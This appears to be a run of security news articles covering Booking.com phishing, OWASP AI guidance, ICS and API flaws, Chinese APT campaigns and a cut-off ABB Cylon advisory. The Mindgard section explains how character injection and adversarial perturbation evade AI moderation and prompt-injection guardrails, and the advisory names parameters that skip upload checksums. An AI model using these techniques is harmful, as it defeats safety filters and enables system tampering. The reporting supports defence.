A number of cybercriminal innovations are making it easier for scammers to cash in on your upcoming travel plans. This story examines a recent spear-phishing campaign that ensued when a California hotel had its booking.com credentials stolen. We'll also explore an array of cybercrime services aimed at phishers who target hotels that rely on the world's most visited travel website.

A number of cybercriminal innovations are making it easier for scammers to cash in on your upcoming travel plans. This story examines a recent spear-phishing campaign that ensued when a California hotel had its **booking.com** credentials stolen. We’ll also explore an array of cybercrime services aimed at phishers who target hotels that rely on the world’s most visited travel website.

According to the market share website **statista.com**, booking.com is by far the Internet’s busiest travel service, with nearly 550 million visits in September. KrebsOnSecurity last week heard from a reader whose close friend received a targeted phishing message within the Booking mobile app just minutes after making a reservation at a California.

The missive bore the name of the hotel and referenced details from their reservation, claiming that booking.com’s anti-fraud system required additional information about the customer before the reservation could be finalized.

The phishing message our reader’s friend received after making a reservation at booking.com in late October.

In an email to KrebsOnSecurity, booking.com confirmed one of its partners had suffered a security incident that allowed unauthorized access to customer booking information.

“Our security teams are currently investigating the incident you mentioned and can confirm that it was indeed a phishing attack targeting one of our accommodation partners, which unfortunately is not a new situation and quite common across industries,” booking.com replied. “Importantly, we want to clarify that there has been no compromise of Booking.com’s internal systems.”

The phony booking.com website generated by visiting the link in the text message.

Booking.com said it now requires 2FA, which forces partners to provide a one-time passcode from a mobile authentication app (Pulse) in addition to a username and password.

“2FA is required and enforced, including for partners to access payment details from customers securely,” a booking.com spokesperson wrote. “That’s why the cybercriminals follow-up with messages to try and get customers to make payments outside of our platform.”

“That said, the phishing attacks stem from partners’ machines being compromised with malware, which has enabled them to also gain access to the partners’ accounts and to send the messages that your reader has flagged,” they continued.

It’s unclear, however, if the company’s 2FA requirement is enforced for all or just newer partners. Booking.com did not respond to questions about that, and its current account security advice urges customers to enable 2FA.

A scan of social media networks showed this is not an uncommon scam.

In November 2023, the security firm **SecureWorks** detailed how scammers targeted booking.com hospitality partners with data-stealing malware. SecureWorks said these attacks had been going on since at least March 2023.

“The hotel did not enable multi-factor authentication (MFA) on its Booking.com access, so logging into the account with the stolen credentials was easy,” SecureWorks said of the booking.com partner it investigated.

In June 2024, booking.com told the BBC that phishing attacks targeting travelers had increased 900 percent, and that thieves taking advantage of new artificial intelligence (AI) tools were the primary driver of this trend.

Booking.com told the BCC the company had started using AI to fight AI-based phishing attacks. Booking.com’s statement said their investments in that arena “blocked 85 million fraudulent reservations over more than 1.5 million phishing attempts in 2023.”

The domain name in the phony booking.com website sent to our reader’s friend — **guestssecureverification\[.\]com** — was registered to the email address **ilotirabec207@gmail.com**. According to DomainTools.com, this email address was used to register more than 700 other phishing domains in the past month alone.

Many of the 700+ domains appear to target hospitality companies, including platforms like booking.com and **Airbnb**. Others seem crafted to phish users of **Shopify**, **Steam**, and a variety of financial platforms. A full, defanged list of domains is available here.

A cursory review of recent posts across dozens of cybercrime forums monitored by the security firm Intel 471 shows there is a great demand for compromised booking.com accounts belonging to hotels and other partners.

One post last month on the Russian-language hacking forum **BHF** offered up to $5,000 for each hotel account. This seller claims to help people monetize hacked booking.com partners, apparently by using the stolen credentials to set up fraudulent listings.

A service advertised on the English-language crime community **BreachForums** in October courts phishers who may need help with certain aspects of their phishing campaigns targeting booking.com partners. Those include more than two million hotel email addresses, and services designed to help phishers organize large volumes of phished records. Customers can interact with the service via an automated Telegram bot.

Some cybercriminals appear to have used compromised booking.com accounts to power their own travel agencies catering to fellow scammers, with up to 50 percent discounts on hotel reservations through booking.com. Others are selling ready-to-use “config” files designed to make it simple to conduct automated login attempts against booking.com administrator accounts.

SecureWorks found the phishers targeting booking.com partner hotels used malware to steal credentials. But today’s thieves can just as easily just visit crime bazaars online and purchase stolen credentials to cloud services that do not enforce 2FA for all accounts.

That is exactly what transpired over the past year with many customers of the cloud data storage giant **Snowflake**. In late 2023, cybercriminals figured out that while tons of companies had stashed enormous amounts of customer data at Snowflake, many of those customer accounts were not protected by 2FA.

Snowflake responded by making 2FA mandatory for all new customers. But that change came only after thieves used stolen credentials to siphon data from 160 companies — including **AT&T**, **Lending Tree** and **TicketMaster**.

Booking.com Phishers May Leave You With Reservations

OWASP has released guidance materials addressing how to respond to deepfakes, AI security best practices, and how to secure open source and commercial generative AI applications.

Source: Jozef Sedmak via Alamy Stock Photo

The Open Worldwide Application Security Project (OWASP) has announced new security guidance materials to help organizations identify and manage the risks associated with the adoption, deployment, and management of large language models (LLMs) and generative artificial intelligence (GenAI) applications. 

The guidance is part of the OWASP Top 10 for LLM Application Security Project, a global, community-led open source project. Since its inception in 2023, the group has released research, guidance, and resource materials to help organizations develop a comprehensive strategy encompassing governance, collaboration, and practical tools.

*   The "Guide for Preparing and Responding to Deepfake Events" illustrates the problems posed by "hyper-realistic digital forgeries." An outgrowth of the AI Cyber Threat Intelligence initiative, this resource combines practical and pragmatic defense strategies to help organizations stay secure as deepfake technology improves. 
    
*   The "Center of Excellence Guide" helps businesses establish best practices and frameworks for creating AI security practices. The guidance helps organizations establish systems for risk management and interdepartmental coordination among security, legal, data science, and operations teams, as well as how to develop and enforce security policy and educate staff on AI security.
    
*   The "AI Security Solution Landscape Guide" is a broad reference on how to secure both open source and commercial LLM and GenAI applications. It categorizes existing and emerging security products and gives guidance on how to think about risks identified in the Top 10 list.
    

The project brings together more than 500 cybersecurity and AI experts from companies and organizations around the world to identify LLM vulnerabilities and mitigations. In early 2024, the project expanded its focus to include strategic stakeholders, like CISOs and compliance officers, in addition to developers, data scientists, and other security practitioners.

"We're two years into the generative AI boom, and attackers are using AI to get smarter and faster," said Steve Wilson, project lead for the OWASP Top 10 for LLM Project, in a statement. "Security leaders and software developers need to do the same. Our new resources arm organizations with the tools they need to stay ahead of these increasingly sophisticated threats."

**About the Author**

Jennifer Lawinski is a writer and editor with more than 20 years experience in media, covering a wide range of topics including business, news, culture, science, technology and cybersecurity. After earning a Master's degree in Journalism from Boston University, she started her career as a beat reporter for The Daily News of Newburyport. She has since written for a variety of publications including CNN, Fox News, Tech Target, CRN, CIO Insight, MSN News and Live Science. She lives in Brooklyn with her partner and two cats.

OWASP Releases AI Security Guidance

Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards…

Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards and unleash harmful AI-generated content.

A UK-based cybersecurity-for-AI startup, Mindgard, discovered two critical security vulnerabilities in Microsoft’s Azure AI Content Safety Service in February 2024. These flaws, as per their research shared with Hackread.com, could allow attackers to bypass the service’s safety guardrails.

The vulnerabilities were responsibly disclosed to Microsoft in March 2024, and by October 2024, the company deployed “stronger mitigations” to reduce their impact. However, the details of it have only been shared by Mindgard now.

****Understanding the Vulnerabilities****

Azure AI Content Safety is a Microsoft Azure cloud-based service that helps developers create safety and security guardrails for AI applications by detecting and managing inappropriate content. It uses advanced techniques to filter harmful content, including hate speech and explicit/objectionable material. Azure OpenAI uses a Large Language Model (LLM) with Prompt Shield and AI Text Moderation guardrails to validate inputs and AI-generated content. 

However, two security vulnerabilities were discovered within these guardrails, which protect AI models against jailbreaks and prompt injection. As per the research, attackers could circumvent both the AI Text Moderation and Prompt Shield guardrails and inject harmful content into the system, manipulate the model’s responses, or even compromise sensitive information. 

Microsoft’s Azure AI Content Safety Service and bypassing the (Via Mindgard)

****Attack Techniques****

According to Mindgard’s report, its researchers employed two primary attack techniques to bypass the guardrails including Character injection and Adversarial Machine Learning (AML).

****Character injection:****

It is a technique where text is manipulated by injecting or replacing characters with specific symbols or sequences. This can be done through diacritics, homoglyphs, numerical replacement, space injection, and zero-width characters. These subtle changes can deceive the model into misclassifying the content, allowing attackers to manipulate the model’s interpretation and disrupt the analysis. The goal is to deceive the guardrail into misclassifying the content. 

****Adversarial Machine Learning (AML):****

AML involves manipulating input data through certain techniques to mislead the model’s predictions. These techniques include perturbation techniques, word substitution, misspelling, and other manipulations. By carefully selecting and perturbing words, attackers can cause the model to misinterpret the input’s intent.

****Possible Consequences****

The two techniques effectively bypassed AI text moderation safeguards, reducing detection accuracy by up to 100% and 58.49%, respectively. The exploitation of these vulnerabilities could lead to societal harm as it “can result in harmful or inappropriate input reaching the LLM, causing the model to generate responses that violate its ethical, safety, and security guidelines,” researchers wrote in their blog post shared exclusively with Hackread.com.

Moreover, it allows malicious actors to inject harmful content into AI-generated outputs, manipulate model behaviour, expose sensitive data, and exploit vulnerabilities to gain unauthorized access to sensitive information or systems.

“By exploiting the vulnerability to launch broader attacks, this could compromise the integrity and reputation of LLM-based systems and the applications that rely on them for data processing and decision-making,” researchers noted.

It is crucial for organizations to stay updated with the latest security patches and to implement additional security measures to protect their AI applications from such attacks.

1.  Mirai botnet exploiting Azure OMIGOD vulnerabilities
2.  Microsoft AI Researchers Expose 38TB of Top Sensitive Data
3.  Phishing Attacks Bypass Microsoft 365 Email Safety Warnings
4.  Researchers access primary keys of Azure’s Cosmos DB Users
5.  Data Security: Congress Bans Staff Use of Microsoft’s AI Copilot
6.  New LLMjacking Attack Lets Hackers Hijack AI Models for Profit

Azure AI Vulnerabilities Allowed Attacks to Bypass Moderation Safeguards

The sophisticated Chinese cyberattacks of today rest on important groundwork laid during the pandemic and before.

Source: Cinematic via Alamy Stock Photo

Chinese threat actors are operating at a higher level today than ever before, thanks to years of trial-and-error-style attacks against mass numbers of edge devices.

Networking devices are a known favorite of China's advanced persistent threats (APT), and why wouldn't they be? Sitting on the outer banks of an enterprise network, they not only allow threat actors a way in, they also double as useful nodes for botnets. They offer opportunities for lateral movement, they often store sensitive data, and network defenders have a harder time seeing into and securing them than they do other kinds of network computers. 

Over time, Chinese APTs have been improving on their edge attack capabilities. Since 2018, Sophos has traced a distinct evolution in tactics: from naive, low-level attacks came more sophisticated campaigns against massive numbers of devices, followed by a period of more targeted attacks against specific organizations.

**The First Salvo in a Long Cyber War**

On Dec. 4, 2018, Sophos analysts discovered a suspicious device running network scans against Cyberoam, a Sophos subsidiary based in India. In some ways the attack was run of the mill, using commodity malware and common living-off-the-land (LotL) tactics.

Other evidence, though, suggested that this was something different. For example, the attacker utilized a novel technique to pivot from on-premises devices to the cloud, via an overly permissive identity and access management (IAM) configuration to the Amazon Web Services Systems Manager (AWS SM).

Related:Dark Reading News Desk Live From Black Hat USA 2024

"AWS SM was quite a new technology, and it was quite a subtle misconfiguration," Sophos chief information security officer (CISO) Ross McKerchar recalls. "That was one of the first indicators that we were up against an interesting adversary." 

Later, the attackers deployed a novel rootkit called Cloud Snooper. Cloud Snooper was so stealthy that two third-party consultancies missed it in their analysis, before Sophos eventually picked up on its presence.

The goal of the attack, it seemed, was to collect information useful for future attacks against edge devices. It was a harbinger of what was to come.

**A Five-Year Evolution in Chinese TTPs**

Chinese cyber threats blossomed from roughly 2020 to 2022, as attackers focused on identifying and breaching edge devices en masse.

It worked thanks to the large quantity of devices in the wild that have Internet-facing portals. Typically, these interfaces are designed for internal use. With COVID-19, though, more and more companies were allowing employees to connect from the open Web. This provided a window for hackers with the right kind of credentials or vulnerabilities to get in.

Related:The Overlooked Importance of Identifying Riskiest Users

It helped, too, that around that same time — July 2021 — China's Cyberspace Administration passed the Regulations on the Management of Network Product Security Vulnerability Information rules. These mandates forced cybersecurity researchers to report vulnerabilities to the country's Ministry of Industry and Information Technology (MIIT) before disclosing to any other parties. "It was designed to co-opt the whole country — private citizens included — into being assets for PRC objectives," McKerchar says. Sophos argues with medium confidence that two notable campaigns during this period were facilitated by vulnerabilities responsibly disclosed by researchers at universities in the Chinese city of Chengdu.

Chinese APTs weren't only interested in using compromised devices to attack the companies from whence they came. With varying degrees of success, they would often try to incorporate the devices into broader operational relay box networks (ORBs). These ORBs, in turn, offered higher-level threat actors more sophisticated infrastructure from which to launch more advanced attacks and hide any trace of their origin.

Related:FBI, Partners Disrupt RedLine, Meta Stealer Operations

**What's Happening Now**

After this noisy period, around the middle of 2022, Chinese APTs shifted yet again. Ever since, they've been focused on much more deliberate and targeted attacks against organizations of high value: government agencies, military contractors, research and development firms, critical infrastructure providers, and the like.

These attacks follow no single pattern, involving known and zero-day vulnerabilities, userl and and UEFI bootkits, and whatever other elements pair with active, hands-on-keyboard-type attacks. They almost certainly wouldn't be as sophisticated as they are, though, without all of the years of trial and error that occurred before. Evidence to that is just how effective these threat actors are at overcoming cybersecurity defenses. In recent years, they've demonstrated an ability to sabotage hotfixes for vulnerable devices, and block evidence of their activity from reaching Sophos analysts.

"There's a clear arc of moving to stealthier and stealthier persistence in the activity that we've uncovered," McKerchar says.

He explains how "the first malware, whilst it was bespoke for our devices, it wasn't really trying to hide. They were just banking on nobody looking. In the second wave of attacks they learned a bunch of lessons, remarkably quickly. The malware wasn't explicitly trying to hide, it was just smaller, and naturally able to blend in a bit more. Then after that, they started kind of pulling out more interesting tactics: Trojan class files, memory-resident malware, rootkits, bootkits."

He concludes, "It'd be hard to speculate on what's next, except \[that\] they're going to be improving again."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Chinese APTs Cash In on Years of Edge Device Attacks

Misconfigurations, weak authentication, and logic flaws are among the main drivers of API security risks at many organizations.

Source: Who is Danny via Shutterstock

Security vulnerabilities in the application programming interfaces (APIs) powering modern digital services and applications have emerged as a major threat to enterprise systems and data.

A recent report from Wallarm shows a 21% increase in API-related flaws between this year's second and third quarters. Nearly one-third (32%) were associated with cloud infrastructure and cloud-native applications and services. In addition to the increased volume, a high proportion of the vulnerabilities that Wallarm reviewed had severity scores of 7.5 or higher, indicating growing risk for organizations from API use.

"In Q3 we saw API breaches driven by authentication and authorization issues, leaked API data, and classic injection attacks," says Wallarm founder and CEO Ivan Novikov.

Significantly, while many of the vulnerabilities in OWASP's list of Top 10 API vulnerabilities are server-focused, Wallarm's data shows an uptick in client-side flaws, like OAuth misconfiguration and cross-site issues, Novikov says.

"It's concerning because defenders are resource-constrained and need to focus on the most important types of attacks," he says.

A continuing enterprise emphasis on API integration and functionality — over security — is exacerbating the issue. Just 37% of organizations have formally incorporated security testing into their API life cycle management practices, a study by Postman found earlier this year.

"APIs are now a top target for malicious actors, making security and observability critical," the report noted.

What are the major contributors to API security risks? And what should organizations be doing to mitigate them?

**Misconfigured APIs**

Many API security issues in recent years have stemmed from relatively easily avoidable misconfigurations. Common examples include inadequate authentication and authorization, lack of input validation, improper rate limiting, inadequate logging and monitoring, and the exposure of sensitive data through error messages. Such misconfigurations can have severe consequences.

For instance, Broken Object Level Authorization — when an API does not properly validate user access to resources — can allow attackers to manipulate object IDs to access unauthorized data, says Ankit Sobti, co-founder and CTO of Postman. Similarly, Broken User Authentication vulnerabilities — when an API fails to enforce proper authentication — often allow attackers to bypass authentication checks and gain unauthorized access to endpoints.

Organizations can mitigate these issues by implementing security best practices, such as strict authorization checks, role-based access control, multifactor authentication, server-side data filtering, and reviewing API responses for unnecessary data.

"Without proper rate limiting, APIs become vulnerable to abuse through techniques like brute-force attacks or denial-of-service attacks, which can overwhelm the service," Sobti stresses.

The vast majority of API-related breaches over the past few years have resulted from poor posture governance, says Nick Rago, field CTO at Salt Security. In many instances, "the barrier to breach was pretty low, and the attacker did not need any herculean effort to take advantage of a misconfigured API."

Rago attributes the problem to a lack of proper oversight over API development and management.

Building a governance framework around the creation of a corporate posture standard is an important first step, he says. To alleviate risks, organizations need to implement capabilities for discovering API assets, assessing their security posture, and remediating noncompliance as needed, Rago adds.

**Badly Designed APIs**

Poorly designed APIs are another major driver of API security incidents; these APIs do everything they are supposed to do, except in a manner that an adversary can take advantage of, Rago says.

"Think of APIs that return more information than an application needs or APIs that can be scraped for information over time," he explains.

Other examples include APIs that use unvalidated SQL inputs, expose implementation details, are too complex and bloated, handle errors in an insecure manner, or have inconsistent naming and structure.

In addition, a poorly designed API can sometimes ignore business logic inconsistencies, Rago says. Examples include ecommerce APIs that allow users to manipulate prices or make modifications that enable overly permissive access to accounts and transactions. Imperva's "State of API Security 2024" report, in fact, identified business logic abuse as last year's top attack on APIs. These attacks accounted for 27% of all API related attacks in 2023, an increase of some 10% over the prior year.

"Both abuse of badly designed APIs or attacks leveraged against a business logic vulnerability can be addressed by leveraging specialized behavioral threat protection that can decipher not just anomalous usage but discern malicious intent behind an API consumer," Rago notes.

As Imperva vice president of API security Lebin Cheng wrote in an op-ed earlier this year, poorly made API design decisions can have a lasting impact on organizations and their customers. APIs, for instance, could cause serious performance bottlenecks if developers fail to consider scalability requirements when designing them. Similarly, by focusing mostly on business needs, developers can often overlook common security issues, such as buffer overflow errors, during design time, Cheng wrote. 

"The issue of poor API design is further compounded by the fact that there are no strict standards for how APIs should be designed," he said. "This leaves it up to individual developers to determine the best way to implement and develop APIs, which means that poor design decisions can easily slip through the cracks."

**Lack of Visibility**

APIs have emerged as a top attack vector for threat actors because of their near ubiquitous use. Imperva's research showed organizations, on average, have 613 API endpoints per account. The security vendor found API traffic to account for 71% of all Web traffic in 2023, with the average enterprise making 1.5 billion API calls per year.

Despite the proliferating use and corresponding risk exposure, many organizations don't have enough visibility over their APIs.

"New methods are required to discover and test APIs," says Kimm Yeo, solutions manager at Black Duck.

Organizations need to start thinking about API security in a more proactive manner, Yeo advocates. That means implementing capabilities to discover and inspect APIs earlier in the software development life cycle, she says. The goal should be to ensure APIs and applications are continuously tested before they get into production.

"Today's API security solutions largely focus on implementing API discovery during production, \[where\] any critical alerts produced are difficult to trace to the code," she says. This can make it impossible for developers to fix identified issues, Yeo adds.

The pressing issue for most organizations is their lack of inventory of all externally facing APIs, says Krishna Vishnubhotla, vice president of product strategy at Zimperium.

"It's critical to act quickly as bad actors are exploiting this gap," he says. "The first step is to urgently discover and inventory all these public APIs, followed by immediate measures to secure them.

**Inadequate Security Testing**

Many organizations are failing to prioritize API security adequately and often underestimate the unique risks APIs pose. Postman's survey found just 37% of organizations currently do automated scanning and regular penetration tests to try and catch API vulnerabilities earlier in the development life cycle. Relatively few have integrated security testing and checks in their API development process or centralized API monitoring capabilities.

Organizations that embrace API-first strategies — where APIs are a priority focus during the software planning, design, architecture, and development process — are seeing better success on the API security front, says Salt Security's Rago.

"Those organizations typically enforce 'spec-first development,' meaning an API must be 'blueprinted' with Swagger or OAS and approved before a line of code is written," he says. "You need to blueprint the hospital first and validate its construction against the plan before you let patients in. Seems obvious, but in most organizations that is still not the way it works."

API risks fall under two big categories: access and availability, Wallarm's Novikov says. Attackers either gain access to something they shouldn't or they can take an API offline by impacting its availability.

"There are lots of technical details about how they might accomplish these objectives, but they all bubble up to these two outcomes," Novikov says.

At a high level, the key protections against these risks are strong authentication and authorization across all API endpoints, he says.

"That means knowing all the APIs you have, which should require authentication, strictly checking authorization on the server side, and implementing advanced rate limiting to slow attackers down," he advises. "These mitigations are best practices, but that doesn't mean they're common practices."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

4 Main API Security Risks Organizations Need to Address

Factory automation software from Mitsubishi Electric and Rockwell Automation could be subject to remote code execution (RCE), denial-of-service (DoS), and more.

Source: frans lemmens via Alamy Stock Photo

Critical security vulnerabilities affecting factory automation software from Mitsubishi Electric and Rockwell Automation could variously allow remote code execution (RCE), authentication bypass, product tampering, or denial-of-service (DoS).

That's according to the US Cybersecurity and Infrastructure Security Agency (CISA), which warned yesterday that an attacker could exploit the Mitsubishi Electric bug (CVE-2023-6943, CVSS score of 9.8) by calling a function with a path to a malicious library while connected to the device — resulting in authentication bypass, RCE, DoS, or data manipulation.

The Rockwell Automation bug (CVE-2024-10386, CVSS 9.8), meanwhile, stems from a missing authentication check; a cyberattacker with network access could exploit it by sending crafted messages to a device, potentially resulting in database manipulation.

The critical vulnerabilities are two out of several issues affecting Mitsubishi's and Rockwell Automation's smart-factory portfolios, all listed in CISA's Halloween disclosure. Both industrial control systems (ICS) suppliers have issued mitigations for manufacturers to follow in order to avoid future compromise.

The noncritical bugs include:

*   An out-of-bounds read that could result in DoS (CVE-2024-10387, CVSS 7.5) also affects the Rockwell Automation FactoryTalk ThinManager.
    
*   A remote unauthenticated attacker may be able to bypass authentication in Mitsubishi Electric FA Engineering Software Products by sending specially crafted packets (CVE-2023-6942, CVSS 7.5). And the Mitsubishi Electric portfolio is also vulnerable to several lower-severity bugs, CISA noted.
    
*   An authentication bypass vulnerability in the Mitsubishi Electric MELSEC iQ-R Series/iQ-F Series (CVE-2023-2060, CVSS 8.7) exists in its FTP function on EtherNet/IP modules. Weak password requirements could allow a remote, unauthenticated attacker to access the module via FTP by dictionary attack or password sniffing. Meanwhile, several other lower-severity issues also affect the platform, CISA noted.
    

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Manufacturers should apply patches and mitigations as soon as possible, given that smart factories are among the most-targeted ICS sectors. The news also comes as nation-state attacks on US critical infrastructure have ramped up, with CISA warning that both Russian and Chinese advanced persistent threats (APTs) show no signs of letting up their assaults on utilities, telecoms, and other high-value targets. Canada as well recently warned of sustained cyber assaults from China on its critical infrastructure footprint.

Related:IT Security Centralization Makes the Use of Industrial Spies More Profitable

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Critical Auth Bugs Expose Smart Factory Gear to Cyberattack

As organizations centralize IT security, the risk of espionage is silently becoming a more profitable threat.

Source: Cagkan Sayin via Alamy Stock Photo

COMMENTARY

In recent years, large-scale financial and reputational damages have taught organizations the value of IT security. From corporations to universities, many organizations employ advanced security measures, such as implementing multifactor authentication, conducting regular ISO 27001 audits, providing social engineering training, and even conducting penetration tests and red-team exercises. Beyond this, to prevent unaffiliated devices from roaming freely in their networks, many organizations ask individuals to register their devices and apply security policies on them, such as using complex passwords. 

This is where the game suddenly changes: Security decisions being centralized completely to the organization's IT team poses significant risks. Specifically, our key argument is that this issue will likely increase the use of espionage techniques to compromise systems. 

Consider the following scenario: An executive of a large organization enrolls in a part-time master's program. To access university resources and emails, she connects her personal Windows laptop to the university's network (i.e., Settings > Accounts > Access work or school). Now, her laptop is managed by the university's mobile device management (MDM) system. If she asks about this, the IT team will assure her that this setup is mainly for ensuring updates and strong password policies — and this is all true. 

But what she probably will not be told is that now they have the technical capability to do much more. Many IT teams self-impose limitations on what they can do bring-your-own-device (BYOD) situations to respect user privacy. However, these limitations are policy-based and can easily be reconfigured by a rogue employee. For instance, if such an individual decides to install a program, wipe her disks, or run a script to steal her files, they can adjust the MDM policies to do so. Worse yet, an IT team member who has gone rogue is not only able to do anything she can do on her machine but can also do anything she can do on her company's network. 

**Risk Across Sectors**

While we used the example of a university in this case, obviously this scenario is not limited to educational institutions; The same risks exist across sectors such as healthcare, corporations, and even gaming. Whenever an IT team is allowed to centrally control IT security, such as through an MDM system, there is potential for abuse. 

Given this, traditional espionage techniques — in particular, planting an employee into the IT team or broader organization — become a viable model for criminal enterprises. In fact, unlike most other criminal endeavors that offer similar levels of potential monetary gains (e.g., stealing from a bank), this is not only less risky but also requires much less personnel (e.g., just one individual who deceives their way into the IT team). 

This is because, in most cases, espionage completely bypasses security controls, by capitalizing on the trust placed in IT teams. In contrast, trying to hack into a hardened system comes with all kinds of hurdles. For instance, you can try to use a zero-day exploit, but it would cost exorbitant amounts of money. Exploit brokers such as Zerodium pay large sums (e.g., $2.5 million) to buy a zero-day, and then add their profits to the sum while selling it. In contrast, the price of planting a spy, especially within a lower-risk environment like a school or public hospital, is significantly lower. Furthermore, planting a spy in the organization can provide information and access for extended periods. 

Therefore, this trend toward centralized IT control makes the use of industrial spies a more profitable and less risky proposition. After all, how many organizations — let alone universities, schools, or public hospitals — can effectively root out a highly trained professional spy embedded within their IT team? 

Furthermore, this centralization trend is expanding beyond enterprise environments. For example, many multiplayer games employ anti-cheating measures that operate at the kernel level, granting full access to the gaming company's IT team. One way to hack hundreds of thousands of users, therefore, is hiring a sophisticated team of hackers to reverse engineer the anti-cheat engine for countless hours to find a zero-day vulnerability. Generally, though, planting someone into the gaming company is a much cheaper alternative. 

**How Do We Design Our Systems Better?**

In response, we need to improve the design of our systems in at least three ways.

*   First, systems must be designed with decentralization in mind; highly centralized systems come with the threat of a single point of critical failure.
    
*   Second, information security should not be confined to IT teams; we have to embed the zero-trust mindset into all organizational functions, ranging from HR (e.g., recruitment practices) to managerial decision-making.
    
*   Finally, for IT admins today, the top-level concern is the breach of the servers and domain controllers. However, unwarranted access to personal devices must become another top concern beyond the compromise of the organization's own servers. 
    

Ultimately, we must recognize that the centralization of IT security elevates espionage to a critical threat, marking the next phase in the evolution of information security. 

**About the Authors**

Reader (Associate Professor) in Digital Innovation and Information Security, King's College London

Aybars Tuncdogan is a reader (associate professor) in digital innovation and information security at King’s College London. He is also a research affiliate of the King’s AI Institute and a member of both the Cybersecurity Research Centre (King’s Informatics Department) and the Cyber Security Research Group (King’s War Studies Department). 

Lecturer (Assistant Professor) in Marketing, University of Sussex

Fulya Acikgoz is a lecturer (assistant professor) in marketing at the University of Sussex. Her research covers a wide range of topics with a particular focus on technology and innovation marketing and management in different contexts. Her work has been published in high-impact journals. She is also the co-author of the book Blockchain for Tourism and Hospitality Industries.

IT Security Centralization Makes the Use of Industrial Spies More Profitable

ABB Cylon Aspect version 3.08.01 has a vulnerability in caldavInstall.php, caldavInstallAgendav.php, and caldavUpload.php files, where the presence of an EXPERTMODE parameter activates a badassMode feature. This mode allows an unauthenticated attacker to bypass MD5 checksum validation during file uploads. By enabling badassMode and setting the skipChecksum parameter, the system skips integrity verification, allowing attackers to upload or install altered CalDAV zip files without authentication. This vulnerability permits unauthorized file modifications, potentially exposing the system to tampering or malicious uploads.

    ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum BypassVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The ABB BMS/BAS system has a vulnerability in caldavInstall.php,caldavInstallAgendav.php, and caldavUpload.php files, where the presenceof an EXPERTMODE parameter activates a badassMode feature. This mode allowsan unauthenticated attacker to bypass MD5 checksum validation during fileuploads. By enabling badassMode and setting the skipChecksum parameter, thesystem skips integrity verification, allowing attackers to upload or installaltered CalDAV zip files without authentication. This vulnerability permitsunauthorized file modifications, potentially exposing the system to tamperingor malicious uploads.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5860Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         